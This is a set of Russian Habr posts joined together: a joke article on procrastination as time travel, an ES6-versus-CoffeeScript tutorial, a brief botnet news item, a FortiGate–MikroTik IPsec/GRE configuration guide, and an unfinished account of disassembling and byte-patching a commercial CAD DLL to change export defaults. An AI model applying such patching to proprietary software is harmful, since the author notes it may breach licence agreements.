Значит для него Apro > δQpro, то есть не выполняется закон сохранения энергии. В свою очередь по [теореме Нетёр](https://ru.wikipedia.org/wiki/%D0%A2%D0%B5%D0%BE%D1%80%D0%B5%D0%BC%D0%B0_%D0%9D%D1%91%D1%82%D0%B5%D1%80) каждый закон сохранения является следствием симметрии пространства-времени, то есть в нашем случае отсутствие закона сохранения энергии равносильно утверждению о неоднородности времени. А неоднородность времени — это отличная лазейка, чтобы в нём путешествовать.
С прокрастинацией — в светлое будущее
-------------------------------------
Прокрастинаторы никого уже не удивляют той легкостью, с которой они перемещаются в будущее. Приведем зависимость скорости перемещения в будущее и скорости выполнения работы от некоторых факторов.
Так, мощность резко падает при увеличении количества PRO собранных вместе, а скорость с которой они несутся в будущее наоборот нарастает.
*Рисунок 3. Мощность и скорость течения времени от количества PRO, собранных вместе*
Теперь посмотрим на те же параметры от часов сна в сутки. При 0 и при 24 часах сна в сутки мощность нулевая, при этом оптимум достигается где-то на 8 часах. Скорость течения времени же плавно нарастает и при 24 часах сна в сутках стремится к бесконечности.
*Рисунок 4. Мощность и скорость течения времени от часов сна в сутки*
Обманываем время
----------------
Конечно, самое интересное — это путешествия в прошлое и их можно совершать с помощью прокрастинации.
Вспомним [рисунок 2](#1) и будем сдвигать точку *Ткрит* всё дальше и дальше так, чтобы она оказалась за *Тконечное*. Это можно сделать, поручив другому PRO следить за временем. Думаем, всем очевидно, что эти ребята вспомнят о работе уже после срока ее выполнения. Однако [аксиома номер один](#2) остается в силе, поэтому график выполнения работы принимает вид как на рисунке 5. В той точке *Тбудущее*, когда наши PRO поймут, что пора браться за дело, время развернет свое направление, и работа будет выполнена в срок.
*Рисунок 5. Выполненная работа от времени — PRO путешествует в прошлое*
С такими ситуациями часто можно встретиться в стенах высших учебных заведений. Студент не ходит на пары вплоть до самой зачетной недели (*отрезок 0 — Tкритическое*), не получает зачеты (*Tкритическое*), не готовится к сессии и не сдает ее (*Тконечное*), но в будущем не оказывается отчисленным. С учетом бесспорной аксиомы о беспристрастности системы образования, очевидно, что студент переместился в прошлое и там сдал сессию.
Эксперименты
------------
Лучше понять суть прокрастинации нам помог простой эксперимент. Мы попросили шестерых добровольцев выполнить простое задание — нарисовать коня. Вот рисунки коней, которые получились:
Очевидно, что №2 и №6 — это обычные люди, они честно выполнили задание.
№5 — неустранимая прокрастинация, его коня мы так и не дождались.
А вот №1, №3 и №4 — это самые настоящие PRO. №1 отличился особой креативностью, №4 — особой безалаберностью, №3 — просто скачал картинку из интернета.
Надеемся, что [наша работа](https://mipt.ru/docs/official/procrast.pdf) поможет вам отличить путешественника во времени от простых смертных.
Что вы только что прочитали?
----------------------------
Когда-нибудь мы планируем продолжить наши исследования, а пока приглашаем вас 2 мая на [Антинаучную конференцию](https://vk.com/dfmipt_antinauka).
Что такое Антинаучная конференция? Это доклады о насущных, но ещё не изученных проблемах человечества: тусодинамике, физической теории студенческого сна или исследовании сверххолодных отношений.
Чтобы представить миру свой антидоклад, необязательно учиться 42 года, достаточно всего лишь [подать заявку](https://docs.google.com/forms/d/e/1FAIpQLSeyofxobnq0fXYV0eGeEwAtzZdK8O0xM79Tkb6N3PhqidpaMw/viewform) до 12 апреля и основательно подготовиться.
 | https://habr.com/ru/post/446242/ | null | ru | null |
# Меняем CoffeeScript на ES6
*Спешу предположить, что вы наслышаны о ES6 и, возможно, успели попробовать её. Тогда вам наверняка покажется интересной заметка о некоторых фичах спецификации, опубликованная [Блейком Уильямсом](https://twitter.com/BlakeWilliams__) в блоге Thoughtbots. Я же, с позволения автора, публикую перевод.*
Последнее время я смотрел в сторону спецификации [ES6](http://en.wikipedia.org/wiki/ECMAScript#ECMAScript_Harmony_.286th_Edition.29), это следующая версия JavaScript, и наконец мне представилась возможность использовать её в проекте. За недолгое время использования я понял, что она решает множество проблем, которые пытается решить CoffeeScript, но без радикальных изменений синтаксиса.
ES6 сегодня
-----------
Вы можете начать писать на ES6 прямо сейчас, используя транслятор в ES5 [6to5](https://6to5.org/). 6to5 поддерживает достаточно много инструментов сборки, в их числе: Broccoli, Grunt, Gulp и Sprockets. У меня всё прекрасно работало со [sprockets-es6](https://github.com/josh/sprockets-es6), а 4.x Sprockets будут поддерживать 6to5 из коробки. Также вы можете попробовать ES6 прямо в браузере в [6to5 REPL](https://6to5.org/repl/).
**Пользователям Vim**Чтобы ассоциировать \*.es6 файлы с JavaScript, добавьте в свой .vimrc следующую строчку:
```
autocmd BufRead,BufNewFile *.es6 setfiletype javascript
```
Классы
------
В ES6, как и в Coffee, есть поддержка классов. Сравним один и тот же класс написанный на Coffee и на ES6.
CoffeeScript даёт нам такие преимущества как задание переменных экземпляра из параметров, интерполяция строк и вызов функций без скобок:
```
class Person
constructor: (@firstName, @lastName) ->
name: ->
"#{@first_name} #{@last_name}"
setName: (name) ->
names = name.split " "
@firstName = names[0]
@lastName = names[1]
blake = new Person "Blake", "Williams"
blake.setName("Blake Anderson")
console.log blake.name()
```
В ES6 классам можно определить сеттеры и геттеры:
```
class Person {
constructor(firstName, lastName) {
this.firstName = firstName;
this.lastName = lastName;
}
get name() {
return this.firstName + " " + this.lastName;
}
set name(name) {
var names = name.split(" ");
this.firstName = names[0];
this.lastName = names[1];
}
}
var blake = new Person("Blake", "Williams");
blake.name = "Blake Anderson"
console.log(blake.name);
```
Если вы пользовались библитеками или фреймворками дополняющими JavaScript классами, вы уже обратили внимание что синтаксис ES6 имеет небольшие различия:
* Нет точки с запятой в конце определения функции
* Нет ключевого слова *function*
* Нет запятых после каждого определения
Плюс сеттеры и геттеры, которые позволяют использовать функцию *name* в качестве атрибута.
Интерполяция
------------
Я всегда хотел более мощный синтакс строк в JavaScript. К счатстью ES6 предоставляет, так называемые, [шаблоны строк](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/template_strings). Сравним строки Coffee и JS с шаблонами строк ES6.
CoffeScript:
```
"CoffeeScript allows multi-line strings
with
interpolation like 1 + 1 = #{1 + 1}
"
```
JavaScript:
```
"JavaScript strings can only span a single line " +
"and interpolation isn't possible"
```
ES6:
```
`Template strings allow strings to span
multiple lines and allow interpolation like 1 + 1 = ${1 + 1}
`
```
Можно воспользоваться шаблонами строк в предыдущем примере определения класса изменив геттер *name* на:
```
get name() {
return `${this.firstName} ${this.lastName}`;
}
```
В отличи от конкатенации этот код гораздо чище.
Толстые стрелки
---------------
Еще одна фича, делающая Coffee таким привлекательным, — толстые стрелки — есть в ES6. Толстые стрелки позволяют байндить функцию к *this*. Для начала, посмотрим как мы справлялись без толстых стрелок.
В ES5 мы вынуждены ссылаться на *this* определяя функцию:
```
var self = this;
$("buttob").on("click", function() {
// do something with self
});
```
Coffee позволяет обходиться без аргументов и скобок вовсе:
```
$("button").on "click", =>
# do something with this
```
В ES6 скобки требуется вне зависимости от наличия параметров:
```
$("button").on("click", () => {
// do something with this
});
```
Другие фичи
-----------
В ES6 есть и другие возможности о которых стоит упомянуть.
### Аргументы по умолчанию
CoffeeScript:
```
hello = (name = "guest") ->
alert(name)
```
ES6:
```
var hello = function(name = "guest") {
alert(name);
}
```
### Splats
[Функции Variadic](http://en.wikipedia.org/wiki/Variadic_function), “splats” в терминологии Coffee, позволющие принимать N аргументов определив только один. В ES6 они называются “остальные аргументы”.
CoffeeScript:
```
awards = (first, second, others...) ->
gold = first
silver = second
honorable_mention = others
```
ES6:
```
var awards = function(first, second, ...others) {
var gold = first;
var silver = second;
var honorableMention = others;
}
```
### Деструктурирование
Деструктурирование позволяет сопоставлять массивы и объекты с шаблоном для извлечения конкретных значений.
CoffeeScript:
```
[first, _, last] = [1, 2, 3]
```
ES6:
```
var [first, , last] = [1, 2, 3]
```
Деструктурирование можно использовать в сеттерах, как в предыдущем примере с сеттером *name*, чтобы сделать код более лаконичным:
```
set name(name) {
[this.firstName, this.lastName] = name.split(" ");
}
```
Заключение
----------
Трансляторы ES6 активно разрабатываются и приближаются к CoffeScript по функциональности. Этот пост рассказывает лишь о небольшом количестве возможностей, которые ES6 дает JavaScript. Узнать больше вы можете [здесь](https://6to5.org/docs/learn-es6/).
Попробуйте ES6 в своём следующем проекте!
[Источник](http://robots.thoughtbot.com/replace-coffeescript-with-es6) | https://habr.com/ru/post/249751/ | null | ru | null |
# Ботнет из Linux-серверов
Независимый специалист по безопасности Денис Синегубко из Магнитогорска [обнаружил](http://blog.unmaskparasites.com/2009/09/11/dynamic-dns-and-botnet-of-zombie-web-servers/) в Сети уникальный ботнет, состоящий из Linux-серверов. О своей находке Денис [рассказал](http://www.theregister.co.uk/2009/09/12/linux_zombies_push_malware/) в интервью британской газете The Register.
Каждый узел этого ботнета представляет собой рабочий веб-сервер, на котором крутится какой-нибудь обычный веб-сайт. Но кроме основного сервера Apache, работающего через порт 80, там есть и второй веб-сервер [nginx](http://www.nginx.org/), который занимается рассылкой спама и вредоносного ПО через порт 8080.
Создание ботнета из веб-серверов — это мечта любого спамера: широкие каналы, мощное железо, 100% аптайм всех зомби круглые сутки, что может быть удобнее? Собственно, появление такого «идеального ботнета» давно предсказывали специалисты, наконец это произошло.
Распознать зомби-сервер можно по такому коду на веб-странице. | https://habr.com/ru/post/69586/ | null | ru | null |
# Настройка IPsec GRE туннель между FortiOS 6.4.5 и RouterOS 6.48.1
Стояла задача объединить филиалы с головным офисом предприятия, где находилась серверная. Fortigate 60E организовывал доступ в интернет и выполнял роль межсетевого экрана в головном офисе, в филиалах выполняли роль доступа в интернет Микротик разных моделей. Также было необходимо настроить динамическую маршрутизацию OSPF и поднять IPsec VPN туннели с GRE. Порыскав на просторах интернета, нашел пару разрозненных статей о соединении Fortigate c микротик через IPsec VPN и GRE туннель. Решил объединить эту информацию в одной своей статье, чтобы в дальнейшем самому использовать как шпаргалку. О динамической маршрутизации OSPF напишу в следующей статье.
Итак, входные данные:
1. Головной офис предприятия HQ FortiOS 6.4.5:
* Публичный IP X.X.X.X (сетевой интерфейс port1)
* Внутренняя сеть 192.168.111.0/24 (сетевой интерфейс port2)
2. Филиал предприятия Branch Mikrotik RouterOS 6.48.1:
* Публичный IP Y.Y.Y.Y сетевой интерфейс ether1
* Внутренняя сеть 192.168.112.0/24 (сетевой интерфейс ether2)
На рис. схематично показано подключение главного офиса и филиала.
Опущу основный настройки Fortigate и mikrotik, эта информация есть в интернете, сразу приступим к настройкам IPsec и GRE. Начнем настройку с mikrotik . Начнем с GRE, заходим утилитой Winbox на mikrotik в меню Interfaces->GRE Tunnel->+(нажимаем плюс, чтобы добавить туннель), за тем : - Local Address Y.Y.Y.Y - Remote Address X.X.X.X Укажем параметр "keepalive", который определяет находится ли туннель в рабочем состоянии. Если параметр не включен, то даже, если второй маршрутизатор будет выключен интерфейс все равно будет показывать рабочее состояние, что не удобно для диагностики. Использовать будем значение 10 попыток по 10 секунд. т. е., если в течении 100 секунд не будет никаких сигналов с противоположной стороны туннель перейдет в нерабочее состояние. При этом он автоматически включится, если противоположная сторона попытается установить соединение. В отличии от настройки GRE без IPsec в этой конфигурации должна быть отключена опция "Allow Fast Path", а параметр "Local Address:" является обязательным потому что без него не получится создать автоматические настройки IPsec. Если указать параметр “IPsec Secret”, то автоматически создадутся необходимые настройки IPsec. Но их поменять будет уже не возможно, поэтому не задаю параметр “IPsec Secret”.
Назначим IP адрес GRE-туннелю. Зайдем IP->Addresses->+
Команды консоли :
```
/interface gre
add name=gre-tunnel1 keepalive=10s,10 local-address=Y.Y.Y.Y remote-address=X.X.X.X allow-fast-path=no
/ip address
add address=10.10.10.2/30 interface= gre-tunnel1
```
Настраиваем IPsec . Начнем с phase-1, идентификация устройств между собой, по заранее определенному IP адресу и ключу , настройки в IP->IPsec->Profiles.
Создаем Peer для phase-1, в IP->IPsec->Peers. Указываем имя name Branch-HQ, адрес удаленного FortiGate HQ, локальный адрес и profile1, который соответствует phase-1.
Теперь определяем ключ IPsec phase-1.
Настройка параметров phase-2, он согласует общую политику IPsec, получает общие секретные ключи для алгоритмов протоколов IPsec (AH или ESP), устанавливает IPsec SA. Идем IP->IPsec->Proposals
И создаем политики IPsec , IP->IPsec->Policies->General. Указываем имя Peer Branch-HQ, мы его настраивали выше. Src. Address – внешний адрес нашего mikrotik Y.Y.Y.Y, Dst. Address – внешний адрес FortiGate HQ X.X.X.X, и указываем протокол GRE в параметре Protocol - 47.
На вкладке Action выбираем Proposal – porposal1, который мы тоже настраивали выше.
Настройка в консоли :
```
/ip ipsec profile
add dh-group=modp1536,modp2048 enc-algorithm=aes-256 hash-algorithm=sha256 lifetime=24h name=profile1
/ip ipsec peer
add address=X.X.X.X local-address=Y.Y.Y.Y name=Branch-HQ profile=profile1
/ip ipsec proposal
add auth-algorithms=sha256 enc-algorithms= aes-256-cbc lifetime=30m name=proposal1
pfs-group=modp1536
/ip ipsec policy
add peer=Branch-HQ src-address= Y.Y.Y.Y dst-address= X.X.X.X protocol=47 proposal=proposal1
/ip ipsec identity
add peer=Branch-HQ secret=#!@BRaNCH@!#
```
Прописываем правила в файерволе IP->Firewall->Filter Rules:
В терминале :
```
/ip firewall filter
add chain=input protocol=17 dst-port=500,4500 in-interface=ether1 action=accept
```
Пока не поднята динамическая маршрутизация , создадим статический маршрут до локальной сети головного офиса :
```
/ip route
add dst-address=192.168.111.0/24 gateway=10.10.10.1
```
На этом настройка mikrotik окончена , перейдем к настройки FortiGate.
На FortiGate настроим IPsec phase-1 в командной строке:
```
config vpn ipsec phase1-interface
edit HQA-Branch
set peertype any
set proposal aes256-sha256
set dpd on-idle
set dhgrp 5 14
set auto-discovery-sender enable
set remote-gw Y.Y.Y.Y
set psksecret #!@BRaNCH@!#
set dpd-retryinterval 5
next
end
```
Phase-2 , не забываем указать “protocol 47” и указать transport-mode (транспортный режим) для туннеля GRE:
```
config vpn ipsec phase2-interface
edit "HQA-Branch"
set phase1name "HQA-Branch"
set proposal aes256-sha256
set dhgrp 5 14
set auto-negotiate enable
set encapsulation transport-mode
set protocol 47
next
end
```
Настроим GRE tunnel:
```
config system gre-tunnel
edit "HQ-Branch"
set interface "HQA-Branch"
set remote-gw Y.Y.Y.Y
set local-gw X.X.X.X
next
end
```
Настроим локальный IP адрес туннельного интерфейса и укажем IP удаленного интерфейса:
```
config system interface
edit "HQ-Branch"
set ip 10.10.10.1 255.255.255.255
set remote-ip 10.10.10.2 255.255.255.252
set interface "HQA-Branch"
next
end
```
Трафик GRE, который должен быть защищен IPsec, создается самостоятельно, он не принимается на интерфейсе. Следовательно, не требуется политика форвардинга, чтобы разрешить трафику GRE входить или выходить из интерфейса IPsec. Однако по замыслу FortiOS для согласования IPsec требуется политика форвардинга. Поэтому для «активации» IPsec используется произвольная политика форвардинга (например, от самого интерфейса IPsec и обратно).
```
config firewall policy
edit 2
set name "Enable IPsec"
set srcintf "HQA-Branch"
set dstintf "HQA-Branch"
set srcaddr "all"
set dstaddr "all"
set action accept
set schedule "always"
set service "ALL"
next
```
Разрешим трафик из локальной сети головного офиса port2 в туннель GRE и наоборот:
```
config firewall policy
edit 3
set name "GRE HQ->Branch"
set srcintf "port2"
set dstintf "HQ-Branch"
set srcaddr "all"
set dstaddr "all"
set action accept
set schedule "always"
set service "ALL"
next
edit 4
set name "GRE Branch->HQ"
set srcintf "HQ-Branch"
set dstintf "port2"
set srcaddr "all"
set dstaddr "all"
set action accept
set schedule "always"
set service "ALL"
next
end
```
После туннелирования GRE, пакеты GRE должны быть защищены IPsec. Следовательно, remote-gw gre-tunnel должен указывать на интерфейс IPsec. Настраиваем статический маршрут:
```
config router static
edit 1
set dst Y.Y.Y.Y/30
set device "HQA-Branch"
next
```
Создадим статический маршрут до локальной сети филиала
```
edit 2
set dst 192.168.112.0 255.255.255.0
set device "HQ-Branch"
next
end
```
И теперь поднялся IPsec и GRE , трафик из локальной сети головного офиса попадает в локальную сеть филиала и наоборот.
Использовал следующие статьи:
1. [Fortinet]( https://kb.fortinet.com/kb/search.do?cmd=displayKC&docType=kc&externalId=FD40311&sliceId=1&docTypeID=DT_KCARTICLE_1_1&dialogID=153734307&stateId=1%200%20153732411%27)
2.[Wiki Микротика](https://mikrotik.wiki/wiki/VPN:GRE_%D0%B8_IPsec_(%D0%B1%D1%8B%D1%81%D1%82%D1%80%D0%B0%D1%8F_%D0%BD%D0%B0%D1%81%D1%82%D1%80%D0%BE%D0%B9%D0%BA%D0%B0,_%D0%B0%D1%83%D1%82%D0%B5%D0%BD%D1%82%D0%B8%D1%84%D0%B8%D0%BA%D0%B0%D1%86%D0%B8%D1%8F_%D1%81_%D0%BF%D0%BE%D0%BC%D0%BE%D1%89%D1%8C%D1%8E_%D0%BF%D0%B0%D1%80%D0%BE%D0%BB%D1%8F)
Это мой второй труд , прошу сильно не пинать. | https://habr.com/ru/post/546326/ | null | ru | null |
# Что нам стоит patch построить, нарисуем будем жить
Сказ о суровых российских инженерах.
### 1. С чего все началось…
> *Ангелы и демоны кружили надо мной
>
> Рассекали тернии и Млечные Пути*
>
> [Origa — Inner Universe](https://youtu.be/EIVgSuuUTwQ)
В одном, не очень отечественном САПР, есть возможность конвертировать чертежи сразу в PDF. Но то ли программисты не очень понимают, как их САПР используется, то ли просто забыли добавить возможность сохранения настроек. В итоге, САПР, при экспорте в PDF, всегда конвертирует только "текущий лист", если не забраться в параметры и принудительно не выбрать "Все листы". В нашем инженерном деле, документы из одного листа крайне редки, народ страдает и продолжает из раза в раз выкладывать, отправлять, генерировать и просто тратить процессорные мощности на однолистные PDF'ки. Томным, пятничным вечером, ~~потягивая купажированный виски и покуривая сигару~~, я задумался — можно ли с этим что-нибудь сделать?
**Disclaimer**
> * Помните, внесение изменений в программное обеспечение может нарушать лицензионный договор. Все дальнейшие совпадения случайны. Статья носит исключительно развлекательный характер.
> * Автор не является программистом и тестировщиком, а работает скромным инженером-проектировщиком всяких аббревиатурных систем типа АСУ ТП, САУ ВО\ДГ и прочих промышленных систем. Из-за этого в статье могут содержаться неточности, ошибочные утверждения и бредовые предположения.
>
>
>
>
*Рисунок 1. Окно настроек PDF.*
### 2. …и чем могло закончиться
Первая и самая очевидная идея — пойти в настройки САПРа и изменить стандартные параметры. Я бы не писал этот текст, окажись все так просто. Доступных галочек, кнопочек, полей и прочих пользовательских интерфейсов отвечающих за настройки экспорта PDF в приложении не оказалось.
Вторая, менее очевидная для обывателя идея — пойти в реестр и поискать там. Многие приложения хранят в `HKEY_LOCAL_MACHINE\SOFTWARE\` (или `HKEY_CURRENT_USER`) свои настройки, параметры и прочую сервисную информацию необходимую для работы. Реестр для того и задумывался. Можно догадаться, найдись там с ходу, что-либо годное для решения проблемы, этой заметки не было.
Третье и последнее — поискать в конфигурационных файлах. Часто программы хранят параметры не в реестре, а во всяких config.ini, settings.xml и прочих текстовых файлах. Вдумчивый поиск и пристальное рассматривание каталогов показали отсутствие текстовых настроек.
### 3. Just Do It!
> *Мастерами кунг-фу не рождаются
>
> Мастерами кунг-фу становятся*
>
> [Мумий Троль — Мастера Кунг-Фу](https://youtu.be/bnS4V39z8v8)
Очевидные вещи закончились, пора заныривать в чертоги памяти и призывать весь свой опыт работы с IT-системами. Прежде всего, реестр. Возможно, параметр отвечающий за "печать всех листов", хранится не так явно. Скажем, есть в реестре запись с названием "Options", имеет она значение "1,1,2,3,1,0,1" и вторая единичка, как раз отвечает за то, какой пункт меню выбран. Возникает два вопроса: "Где взять хороший вискарь?" и "Как найти эти самые опции?"
Если над первым еще можно поломать голову, то со вторым все просто — в составе [Sysinternals](https://docs.microsoft.com/en-us/sysinternals/) существует замечательное приложение — [Process Monitor(procmon)](https://docs.microsoft.com/en-us/sysinternals/downloads/procmon).
*Рисунок 2. Окно Process Monitor*
Сначала, пришлось определиться с фильтрами, т.к. Procmon ловит вообще все события от любого приложения, коих в windows работает с пару-тройку десятков, и событий налетает тысяч 10-20 за пару секунд. Окей, указываем — отображать только события связанные с САПР и исключить всякую фигню. Далее, открываем приложение, запускаем сбор событий, нажимаем кнопку "параметры", останавливаем сбор событий… Вуаля — скромный лог "всего" на 700+ строк. Предположительно содержащий обращение к реестру для чтения настроек экспорта. После скрупулёзного изучения, были замечены строки `19:46:29,4265774`, однозначно намекающие — мол САПР считал (и записал) данные `1391,790…1,0,0`.
"Ха! Вот оно!" — подумал я, предположив, что 1 или 0 отвечают, как раз за настройки.
"Хе!" — подумал САПР, и категорически отказался, что-либо менять в окне параметров, не смотря на различные комбинации подсовываемых нулей, единичек и прочих цифр.
Суббота. Смеркалось. Других обращений к реестру не было и становилось очевидно — путь реестра ведет в никуда.
Воскресенье выдалось суетным, впереди маячила новая рабочая неделя, хотелось завалиться на диван, обнять жену, включить какой-нибудь фильм и наслаждаясь Джонни Пешеходом, окунуться в приятную негу… однако, на периферии сознания свербела мысль — "откуда то же САПР читает настройки…". Рабочая неделя не предвещала ничего хорошего, жена занималась своими девочковыми делами, Джонни оказался слишком резок, смотреть фильм не получалось. Пришлось открыть ноутбук.
Если САПР не хранит настройки в реестре, значит хранит их в файлах, вопрос лишь в котором из 20 000? Скорее всего, опция хранятся в виде нуля (первый пункт меню, для программистов нулевой), а может единички, если код писал криворукий индус. В любом случае, таких нулей и единичек в САПРе, аж три биллиона (10^9)…
Я смотрел на САПР. САПР смотрел на меня и издевательски моргал курсором в поле "векторное разрешение". Поле это динамическое, туда можно ввести любое значение и получить документ соответствующего качества. Стоп. Поле данных…любое число… но там же есть текст "DPI". Значит, поле текстовое, и текст "400 DPI" уникален (в пределах файлов). Хм. И он (текст) где-то хранится, вероятно даже рядом с остальными настройками…
TotalCommader > поиск файлов > \*.\* c текстом "400 DPI". Томительное ожидание и… ничего не найдено. Потому что файлы, в большинстве своем, не текстовые, а бинарные, и искать надо в HEX-е (заодно, выбрав все доступные кодировки). Вуаля — искомая комбинация встречается всего в одном файле:
imgUI.dll (название файла изменено)
Вау! Так просто? А вот фигушки. DLL — динамик лоад лайбери, если открыть его редактором, то можно увидеть нечто-подобное:
*Рисунок 3. Текст DLL*
Нипоня-я-ятно… однако, в каталоге с imgUI.dll встретились img.dll и imgUtils.dll. Этож-ж-ж не спроста. А еще, так как САПР не отечественный, но на русском языке, то в каталоге Rusians (ага, именно с одной s) нашлась еще парочка файлов — imgRes.dll и imgUIRes.dll. Чтож к утру понедельника у меня было пять файлов:
* imgUI.dll — UI, скорее всего сокращение — "User Interface", в нем то и нашлось "400 DPI". Можно предположить — этот файл отвечает за отрисовку интерфейса.
* imgUIRes.dll — очевидно, файл ресурсов для отображения пользовательского интерфейса
* imgUtils.dll — файл содержащий утилиты, выполняющие преобразование в pdf, или просто всякие вспомогательные штуки(?)
* img.dll — что делает не ясно, но раз имеет общее имя с файлами выше, надо обратить внимание и запомнить.
* imgRes.dll — ??? Файл ресурсов для работы img.dll ???
### 4.We need to go deeper (Заныриваем глубже)
> *All in all it was just a brick in the wall.
>
> All in all it was just the bricks in the wall.*
>
> [Pink Floyd — Another Brick In the Wall (Part 2)](https://youtu.be/HrxX9TBj2zY)
Понедельник выдался нервным.
Единственное, что я понимал на тот момент: после того как программист нарисовал окошечко, оно складывается в res-файл… и существуют приложения способные эти файлы открыть. Отдельное спасибо игровому детству и разработчикам небезызвестных ArtMoney и Restorator. При помощи последних мы читирили — меняли в res-файлах различные опции, получая тем самым горы золота, шмоток и просто нереальных (по игровым меркам) персонажей.
Логично было предположить — в res-файле могут содержаться данные с настройками или окно параметров содержащие те же настройки (те кто разрабатывал графические интерфейсы на С++-подобных языках сейчас улыбнулись).
В imgRes.dll ничего интересного не нашлось, а вот imgUIRes.dll встретил знакомым окном параметров.
Еееее! — порадовался я, — сейчас я какаааак сделаю… … что-то … … Хм, а действительно, что?
Радость улетучилась. Res-файл не содержит кода, по сути, это набор элементов которые можно подвигать, изменить размер, шрифт, текст — а ведь это именно то что мне требуется! Почему бы просто не поменять местами два текста — пусть "Все листы" станет первым в списке, тогда САПР всегда будет выбирать его по умолчанию!
Сказано, сделано, сохранено.
Запуск САПРа>Экспорт>Параметры>OK>Экспорт. И полный облом. Не смотря на то что "чек-бокс" стоит там, где надо ничего не изменилось.
*Рисунок 4. Измененный интерфейс.*
Программисты сейчас должны умилиться моей наивности. Во-первых, если проводить проверку по тексту чек-бокса, то необходимо учитывать все языки, а не только русский. (САПР то международный, ага). Во-вторых, каждый элемент в окне имеет ID и работают, как раз через него. Выглядит это так (цифра после первой запятой — ID):
*Рисунок 5. ID в Res-файле.*
Хотелось верить, что где-то здесь, в цифрах, зашита заветная опция "использовать этот пункт по умолчанию ", но увы нет.
Казалось — тупик, что тут можно сделать? Выдохнуть, обнять жену, признать невозможность изменить мир, накатить, вернуться в привычное житейское русло и наконец-то выспаться.
### 5.Еще!
> *Run rabbit run
>
> Dig that hole, forget the sun,
>
> And when at last the work is done
>
> Don't sit down it's time to dig another one*
>
> [Pink Floyd — Breathe](https://youtu.be/gnLLuzS2Ofw)
Помнится лет 10 назад, нам, студентам информационно-измерительных систем, по какой-то одному деканату известной причине, читали курс по защите ПО. Преподаватель, понимая, что за семестр невозможно впихнуть в нас хоть сколько-нибудь внятные знания по всем этим DES, AES и прочим приоткрытым ключам, сделал единственный верный шаг — начал рассказывать, что нужно сделать чтобы код от наших гипотетических приборов не уперли конкуренты и какими методами они это будут пытаться сделать. Лабораторные работы строились по принципу пишешь код, а потом твой сосед пытается его сломать. С тех времен память сохранила сокращения- HEX, ASM, IDA.
С последней и было решено начать, благо есть бесплатная версия(freeware, а не то что все подумали). Ollydbg казался сомнительным, т.к. САПР х64 и была не нулевая вероятность получить неправильный код. Microsoft Debugger — можно было бы попробовать, но IDA уже была скачена и установлена.
Итак, есть две сущности:
* ID элементов из окна параметров (от 1001 до 1014)
* Текст "400 DPI"
…которые надо найти, очевидно, в imgUI.dll. Почему очевидно? Во-первых, потому что поиск текста "400 DPI" указал именно на этот файл, а во-вторых, из названия файла.
Закинув DLL в IDA я, честно признаюсь, знатно так 302A79452F5C:
*Рисунок 6. IDA.*
Что это? Нет, понятно что это 1. ассемблер 2. последовательность выполнения чего-то, за чем-то в зависимости от чего-то. Переключение в "TextView" так же не прибавило понимания, а родило с десяток новых вопросов — как объявляются переменные, что это за 800+ функции sub\_18…, где хранятся данные, циклы, условия — где все это?, что это за регистры, где мой вискарь и котъ!?
В общем, для неподготовленного меня, последний раз писавшего программы на скриптовых-языках высокого уровня (PowerShell и VBA), все это выглядело примерно так же как и для тебя, мой дорогой читатель выглядят расчеты селективности, токов короткого замыкания, кривые отключения и прочие электрические гадости.
Но, как говорится — "фигня война, главное маневр". Что искать в файле было ясно заранее — radiobutton с ID 1004\1005. …и-и-и поиск ничего не дал. А не дал он ничего, потому что IDA нифига не дружелюбна и хранит все данные в шестнадцатеричном виде. Окей, запускаем калькулятор, переводим в "программистский режим" и получаем 1004 это 3ECh в HEX (h на конце собственно об этом и говорит). Запускаем поиск по новой — успех, данное сочетание найдено 3 раза в 2х функциях. Причем, значение ID 1005 (3EDh) находится рядышком только в тех самых двух функциях. Место найдено и выглядело оно примерно так:
*Рисунок 7. ID 1005*
Чего происходит, нипонятно… да, честно говоря, понимания и не требовалось. Осталось лишь поменять эти два значения местами, чтобы кнопка "Текущий лист" стала распознаваться ПО как "Все листы", а "Все листы", как "Текущий лист". И тут меня ждал первый облом — редактировать ассемблерный код IDA не дает. А вот байт-код пожалуйста. Честно говоря, всегда думал — ассемблер самый "близкий" к железу язык, оказалось — нифигашечки. Итак, байт-код. Каждый процессор имеет набор команд, большей частью стандартизированных, и каждая команда имеет свой код в виде байт(подозреваю что на самом деле бит), а ассемблер это "отображение" этих байт в более-менее читаемом виде. Команда `mov edx, 3EC` в байт-коде выглядит так:
```
BA EC 03 00 0
```
А `mov edx, 3ED` так:
```
BA ED 03 00 00
```
Впрочем, к черту лишние знания, надо же EC заменить на ED и наоборот! Закидываю DLL в САПР, открываю "параметры", никаких видимых изменений, но их и не должно быть… жмакаю ОК>Сохранить и… ДА!!! PDF-ка, генерируется сразу вся… ЕЕЕЕЕ! СДЕЛАНО! Интеллектуальный оргазм, победа!
Можно снять наушники, потянуться, размять затекшую спину, потереть красные глаза, посмотреть в ночное небо и подумать о вечном. Похвастаться перед парочкой друзей, которые, не смотря на первый час ночи, еще не спят.
### 6. Hardcore только hardcore
> *Мы уже думали, что опустились на самое дно, но тут снизу постучали*
>
> Народная мудрость.
Казалось бы все — конец, ответ на вопрос вселенной и всего такого найден, но, увы — меня ждала подлянка.
Оказалось, внезапно, кто бы мог подумать — если НЕ заходить в "Параметры", то окно не вызывается, изменение настроек НЕ происходит и по умолчанию PDF сохраняется с 1 листом. Т.е. по сути ничего не изменилось — для генерации полноценного PDF'а, надо было все равно, хотя бы раз заползти в параметры.
*Рисунок 8. Фиаско*
И что в такой ситуации делать? Правильно, занырнуть поглубже!
Как гласит название одной хорошей книги "just for fun" загрузил `imgUtils.dll`. Понимания как все работает и что делать дальше не прибавилось, все было примерно так же как и в `imgUI.dll`, за исключением одного — ряд функций имели вполне себе читаемые названия вида: `OptionsPDFExport::SetResol`, `OptionsPDFExport::SetBW`, `OptionsPDFExport::GetStartSheet` и прочие. Оппачки! Слишком уж говорящие названия! Но опять таки радость была недолгой, т.к. большинство ф-ций имело вид:
```
mov [rcx+15h], dl
Retn
```
Т.е. понятно, нечто из `DL` переносится в `rcx` со смещением (по адресу?) но… Чё за `dl`? Чё за регистр `rcx`? Впрочем, что будет если ф-ция GetBW всегда будет писать в регистр `rcx+15h` значение 1 (или 0, потом разберемся)?
Второе неожиданное открытие — невозможность вставить кусок кода. Совсем. Никак. Связанно это с указателями — часть команд (и не только) говорят, мол прыгни на 99 команд вверх, или считай значение по вот этому адресу Когда мы вставляем код, то фактически адреса съезжают и нам надо перепрыгнуть уже через 100 команд, т.е. переписать их … все. ИДА такого делать не умеет (или, что скорее, я не нашел).
